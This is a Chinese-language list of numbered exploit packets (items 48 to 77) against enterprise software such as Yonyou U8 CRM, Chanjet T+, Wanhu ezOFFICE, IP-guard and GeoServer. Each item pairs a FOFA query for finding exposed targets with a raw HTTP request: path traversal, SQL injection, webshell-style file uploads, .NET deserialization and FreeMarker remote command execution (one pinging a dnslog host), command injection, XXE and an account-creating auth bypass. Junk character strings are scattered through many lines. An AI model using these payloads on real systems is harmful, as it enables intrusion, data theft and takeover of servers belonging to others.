FOFA：body="/pf/portal/login/css/fonts/style.css"
GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
$ ]$ ?% C6 E7 U+ E1 E1 F6 rHost: x.x.x.x
, L+ @. j$ k% [) b+ p& l( S+ v1 sCache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
9 R" O$ v6 P' \" a# o' R( e3 pConnection: close
7 x. @6 o9 b" C0 Q7 \

2 e. Y) M# S; V! Q2 e
% E, a+ g4 b+ E48. 用友U8 CRM swfupload 任意文件上传
FOFA：title="用友U8CRM"
( b! O2 J6 I, ~5 VPOST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: your-ip
1 d4 h2 O, K) i& }& AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* [  D! F! l" W8 o  _Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
------269520967239406871642430066855
Content-Disposition: form-data; name="file"; filename="s.php"
1231
Content-Type: application/octet-stream
------269520967239406871642430066855
1 |; x1 a8 y  Q& E9 {Content-Disposition: form-data; name="upload"
" s8 j6 L9 N8 c4 Hupload
% P8 o9 ]# Q8 P------269520967239406871642430066855--


49. 用友U8 CRM系统uploadfile.php接口任意文件上传
0 R8 s3 m6 i1 x3 T( z& k5 nFOFA：body="用友U8CRM"
6 y' n' w8 z$ |2 d
POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
! R# ~0 i9 e, X+ J0 B& t( DContent-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
: I# U  j" z6 x. W- y% IAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

; k# q, k5 q' ^, H" O8 K-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="file"; filename="%s.php "
, Z0 G( |5 V+ L2 u: u2 P+ n$ y0 TContent-Type: application/octet-stream

5 g8 _6 n" s# [# y( Q1 J* xwersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
0 c, B. ^- C. ?: S3 UContent-Disposition: form-data; name="upload"

upload
. V. M8 v- S' x8 d6 I; {! i% y-----------------------------vvv3wdayqv3yppdxvn3w--

% S  ], T5 U2 w* Q' P, A6 E$ ?
$ r% W; G# D5 ?* p! fhttp://x.x.x.x/tmpfile/updB3CB.tmp.php

50. QDocs Smart School 6.4.1 filterRecords SQL注入
FOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
9 F; N/ J( x8 ]! `% c- }" {& AHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
% y$ t+ n7 s6 _( `& `Content-Length: 224
Accept: */*
- N. z6 I/ B+ \( Y7 yAccept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
* ^& ~& e3 b, j
searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1


51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
: l% X7 m1 f) M8 S4 c5 QFOFA：app="云时空社会化商业ERP系统"
7 D- ]+ f# B; r" k) n3 `. bGET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
! O0 t, N3 j" ~& ^/ QAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
, E, ^' E) F( p* A  ZAccept-Encoding: gzip, deflate
$ M, P0 @" \3 A5 |: BAccept-Language: zh-CN,zh;q=0.9
Connection: close
0 `  Z  |& N. t; _6 _& L5 H4 S5 f# L
0 X7 R/ L7 e4 r, z
" q9 D$ C3 k8 y( v1 S52. 泛微E-Office json_common.php sql注入
1 F" D4 v  _" I) q0 M9 D# LFOFA：app="泛微-EOffice"
POST /building/json_common.php HTTP/1.1
Host: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
2 G# I& ~+ O8 v- f7 c% ?Connection: close
Content-Length: 87
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
. G5 Y( @4 w. z7 k3 |! p, JAccept-Encoding: gzip
- C* ~' A, u" O
tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333

) y, V- u2 A( f
53. 迪普 DPTech VPN Service 任意文件上传
FOFA：app="DPtech-SSLVPN"
' L5 _6 G6 t1 J6 P# e$ e' F3 d5 }/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
+ c$ G2 r# m) T" G

54. 畅捷通T+ getstorewarehousebystore 远程代码执行
5 X1 ?- [! ~5 S; Z" E6 t* _* g* @3 c0 MFOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"


完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
8 w" D8 v5 q, m* ^Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593
. P2 b6 P" D/ j# A# u
{
7 @- w: O' I# @9 B3 S2 w+ m"storeID":{
% C7 b+ }7 ]2 y "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
3 z+ Z  s% S( {$ V  o  "ObjectInstance":{
3 t" ?( i: v9 a( f; F4 P; E   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
2 }# k8 F- N$ o7 w: S    "StartInfo":{
3 ]6 V2 M4 t3 m( X   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
" _3 X# Z# V/ o% L    "FileName":"cmd",
# ~# ?7 c9 Q) x    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
    }
  }
  }
0 a1 U+ N: K# H8 ]5 Z}
% g& Q* }) i7 O" p7 t% {

第二步，访问如下url
/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt
7 H4 M, s! {3 K$ N9 r! S5 y

5 R2 h& k: K* g+ @! T55. 畅捷通T+ getdecallusers信息泄露
6 `% S1 v' X' |% ?+ DFOFA：app="畅捷通-TPlus"
第一步，通过
9 }+ N5 R5 h: S: g: V. ]/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
第二步，利用获取到的Cookie请求
2 A9 R1 j, }' \/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
/ ~. u% c6 Y4 p1 i2 b! e
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
/ i4 r8 u) g" r  e. Z* APOST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
% @2 |+ I+ R" V8 V; T8 RContent-Type: application/json
: C) ~" n  Q  ?9 g' g. s
! Z7 O& V' z+ r{
  "storeID":{
; A' X9 g, ?2 ?$ M, R' u: n    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
/ f* B. v1 }4 {& S( |   "MethodName":"Start",
" i$ \5 p$ O% M, w+ Q8 I    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
8 N- c! R; X% ^4 A1 ^           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
$ D7 u+ }% H/ e- A1 E8 w( I" b       }
6 \* T7 v4 O) u# Z    }
  }
3 Z, y/ J7 C' \, n/ S& L}

( k- W: z9 V. q' K' U7 P! C+ E
57. 畅捷通T+ keyEdit.aspx SQL注入
4 ]$ H/ m- `, e3 gFOFA：app="畅捷通-TPlus"
0 a3 B' D" H6 [) T+ NGET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
Host: host
$ `0 x  k6 F! k+ [- G2 i2 vUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
4 S5 N: H; {  @1 X% |9 bAccept-Charset: utf-8
2 G5 L, U  h, j1 D0 y" ~Accept-Encoding: gzip, deflate
Connection: close
" h3 g, ]9 I0 M" i
4 a  n6 C+ ~$ e+ T2 a
58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
) ^- S; f3 h  g2 GHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
% v( c) ?: a8 O$ h. U1 JAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
  D" V4 c8 o( b! C6 Z& o+ FConnection: close
5 X3 E1 Z/ f8 K% Z( f
* P* b! c$ v. Q) o6 P
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
+ V# y2 j1 m* A7 Z, ~1 SFOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
. I& e. v! a( |6 BUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Content-Length: 1669
Accept: */*
1 n  D" q! f# |4 H0 j( BAccept-Language: en
& E3 E$ s6 o  D5 Z9 J7 `3 r# v9 t+ UContent-Type: application/x-www-form-urlencoded
, i1 c5 L! X# n5 W; I4 bAccept-Encoding: gzip

0 Z; z4 V0 q/ U, K4 e5 E# G- G) cPAYLOAD

! U& ]7 C3 n( @
60. 百卓Smart管理平台 importexport.php SQL注入
FOFA：title="Smart管理平台"
: H% d* |" i- A9 g/ @6 dGET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
Host:
3 v/ c( s+ {: Z+ j- e0 ]% ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
% s% o2 p$ k8 r1 d2 LAccept-Language: zh-CN,zh;q=0.9
/ D2 j" Q. W2 m6 iConnection: close
0 E1 J- [! D, ^# O% Z

61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
1 E' ^' l& J, W, [+ C8 {7 YFOFA: title="欢迎使用浙大恩特客户资源管理系统"
POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
+ j9 `4 J$ Z/ q) V4 [' XHost: x.x.x.x
2 F5 D3 U4 _6 E: W. B7 J8 _User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
- p; U$ Y) D' ^. O) ?& Y1 f. SConnection: close
; {2 Q0 N2 q8 }% U1 pContent-Length: 27
" X$ G, X' z. B' ?Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
" G8 P2 T- d: Y
! u! e. w; n  I2 C; U8 S3 K8uxssX66eqrqtKObcVa0kid98xa


  E! Z" `. P+ M62. IP-guard WebServer 远程命令执行
$ u( ~2 K4 @4 g8 ~3 gFOFA："IP-guard" && icon_hash="2030860561"
2 z/ X% M' W* h4 N* rGET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
3 v* o! f2 `4 x* j" m4 e6 T+ f9 JUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
Connection: close
& ^4 z- {" f0 s& ?2 ?' k7 }Accept: */*
; a* L5 X+ B: v) H5 I! FAccept-Language: en
Accept-Encoding: gzip

  `8 @# d  n  i5 }) ~: u' A
" c: a& ?/ R, V" O, v访问
) Z+ F5 q0 a+ H& Y  N, f5 q
GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
/ p9 @3 E/ @7 `Host: x.x.x.x
" C1 Q# m, H! }9 T& Z

3 f9 A8 D7 M4 z! r63. IP-guard WebServer任意文件读取
/ G  D7 t% n: ]* FIP-guard < 4.82.0609.0
) J: r4 t" G1 \FOFA：icon_hash="2030860561"
. a- c; G7 s, R1 K7 X/ XPOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
Host: your-ip
' h: A; D5 c$ ~# o. e9 {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
* I& X+ h  c6 S% zAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
, s% t9 ]) l; qAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
( p- u2 ?  x; Y* u, AConnection: close
, v7 m: q8 ?9 I3 P* k4 gContent-Type: application/x-www-form-urlencoded
  ^" \' |/ S% b5 ?- a; h% k- A
path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
% b' l3 v3 z. R, R; a
/ d. k; r# ~" b' j8 W8 N64. 捷诚管理信息系统CWSFinanceCommon SQL注入
FOFA：body="/Scripts/EnjoyMsg.js"
$ D" K& W" @1 [5 c! |3 NPOST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
Host: 192.168.86.128:9001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
Content-Length: 369
Accept: */*
. ?3 P$ a: U; z; `# P3 ^Accept-Language: en
3 @0 _6 n, x5 q# }Content-Type: text/xml; charset=utf-8
Accept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
$ e5 d: H% a3 ?  T! M/ {<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
3 q8 \. l5 J4 _<soap:Body>
* B9 d3 V' h& r; y) n1 ]! m    <GetOSpById xmlns="http://tempuri.org/">
5 O" c$ o+ Q0 s# [      <sId>1';waitfor delay '0:0:5'--+</sId>
" ], ]" D! E! ?4 ?& E- m8 k* S    </GetOSpById>
5 p( W- L* [. _4 C  </soap:Body>
</soap:Envelope>


65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
% Q( M, _8 t* n! h- p3 s5 f4 \响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
4 y. N# J4 z6 p; ]Host:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
4 ~- E4 ?1 J3 x$ s7 A8 FAccept-Encoding: gzip, deflate
! j- p0 H/ V5 iAccept: */*
6 _0 g& j- }& ^/ xConnection: close
Accept-Language: en
Content-Length: 174
' \/ x/ ^/ ?, O" K% ]
operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
# @0 _/ w% d2 A8 f
: A. }6 Y6 T- X$ z0 H6 f
: t% y$ {3 A1 \" A; w66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
0 g+ s/ L* v+ R/ d& SFOFA：app="万户ezOFFICE协同管理平台"

GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
Host: x.x.x.x
) |$ u3 v% Q; e/ V: _) I# N$ D* _User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
" t; ~" w% E1 O+ H4 g- OConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
# h: m9 q- ?9 }1 m" X: P3 v

第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

67. 万户ezOFFICE wpsservlet任意文件上传
FOFA：app="万户网络-ezOFFICE"
$ d% b% }- U2 |newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
! r8 n$ A# v( K; x1 {POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
+ H+ I* b+ m8 N+ g8 pHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
) f* G- w8 W5 N- fAccept-Encoding: gzip, deflate
4 S$ ]. I6 o2 M" s9 GAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
+ `: L- c/ Y# C0 [9 E( DDNT: 1
" B& T9 c8 E0 ?5 m( V5 dUpgrade-Insecure-Requests: 1
* y  g+ \% v) J9 T! d; U9 h4 x
- N" K) ]7 r8 }4 z! I- o" P2 |--ufuadpxathqvxfqnuyuqaozvseiueerp
Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"

<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--

7 t9 `9 z1 I! v4 I8 A; `
7 y4 t. K; \: \; r7 Q& c0 Y2 q5 \文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp
8 l3 H! [& o. E  @4 z1 {
68. 万户ezOFFICE wf_printnum.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
' w* U$ J& s. G! Q# P' LGET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
$ c: N" I1 a6 Z+ s9 L9 BAccept-Language: zh-CN,zh;q=0.9
2 b  s0 w$ j9 K& ?Connection: close
. I: i- D8 |, v5 G* H

69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
$ I: v" Y8 r% X$ X# jGET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
  F7 ]2 H% i1 a( E1 h3 ~# I- oHost: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
# [( Z( ~2 [3 OAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
5 V8 O+ A9 _+ w: U
* k) |: k' m  N+ ], m; h
70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
3 N5 Q" o- g; @% fPOST /member/success.aspx HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
1 l1 f% ^' I" c5 J: I# {SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
Content-Type: application/x-www-form-urlencoded
TYPE: C
, ^1 R+ }7 W) L: h2 I. Q" Q/ i! g8 _) `Content-Length: 16702
/ J6 l, Y: [: F2 A
4 Z9 F, I: J0 ^/ k* M6 F! K__VIEWSTATE=PAYLOAD


: v/ r$ T! X/ p% V1 X! f71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
" x* ?9 v1 G  ]7 O7 t0 p# k/ E1 R2 WFOFA：body="PM2项目管理系统BS版增强工具.zip"
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
; n/ _* h4 g3 S9 H6 eHost: x.x.x.xx.x.x.x
9 }2 A/ e/ X, o+ L# K0 y' bUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
3 f$ j0 z0 p1 M# UConnection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
5 b+ z0 C/ I8 _# V+ r1 i: |. k
: M6 E: R. K. [, _
, B5 c: B9 `7 V7 R$ e72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
7 ?4 \9 ~  Q# J+ fContent-Length: 583
& l% ?4 s1 H" x  }Content-Type: application/x-www-form-urlencoded
" B6 P- x6 T+ q7 v0 r! Z8 p7 hAccept-Encoding: gzip
4 k; @) Q6 f# B  S
5 i* ?4 c# }3 D- eS=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E


  \5 ?( p7 q; q: f- I3 A! A* o9 u73. GeoServer wms远程代码执行
FOFA：icon_hash=”97540678”
+ w1 j  U5 q- W1 w5 }; Y# KPOST /geoserver/wms HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Content-Length: 1981
. e% r. u* ^( T- I. n/ EAccept-Encoding: gzip, deflate
Connection: close
6 ?' r( i/ p2 G: E! o1 B6 iContent-Type: application/xml
SL-CE-SUID: 3

3 t: y% u. j/ \' q. p& \PAYLOAD
5 m( S; i( {& |3 I* v
8 O1 s9 O$ d0 z7 z9 ^
7 n# q5 ?. t: ~( [% H: E- a74. 致远M3-server 6_1sp1 反序列化RCE
FOFA：title="M3-Server"
; l/ |# D, P7 w, S3 GPAYLOAD
" ^' u. D, G. I8 [
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
# c* [* {. H6 r" J5 c# X2 uFOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
; Y  z0 U5 u- `6 ^+ E' Q) |Host: x.x.x.x
2 d" I+ X1 {  X* YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
5 b7 s) B$ E4 j; L4 |Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

! c' ?9 A# d- V% j( J6 J+ V
GET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x


76. 新开普掌上校园服务管理平台service.action远程命令执行
FOFA：title="掌上校园服务管理平台"
POST /service_transport/service.action HTTP/1.1
Host: x.x.x.x
( i5 d* ~2 y, e  ^" z" ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
4 Q& W* b5 W2 G5 ?* k% rConnection: close
- Y% {8 [  l6 }( G6 tContent-Length: 211
  N% Q9 S% N4 M$ u& y; |& f- l2 @5 tAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
& |, }, g0 E( ?! xAccept-Encoding: gzip, deflate
" P2 l6 O/ W! _/ w) L6 EAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  j/ f1 z# h6 R- k: lCookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1

  p" }  k+ f5 r- V: \+ S{
"command": "GetFZinfo",
; t" o% }: x+ ?  Q( K3 m  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
( \; R0 O! J3 C- w0 s. k& M  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}
5 w  Z4 N" R4 L/ N+ V

GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
( C# s0 B0 Z' s' ^1 Z. p& E$ lHost: x.x.x.x


1 _' B6 s! C& L$ r! A/ S3 h
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
0 R5 g: d$ ]4 h. Q5 ?2 aFOFA：body="F22WEB登陆"
# u* t% \  {# ^4 NPOST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
/ N) Q$ I7 S0 ~& m) Q$ g  xHost: x.x.x.x
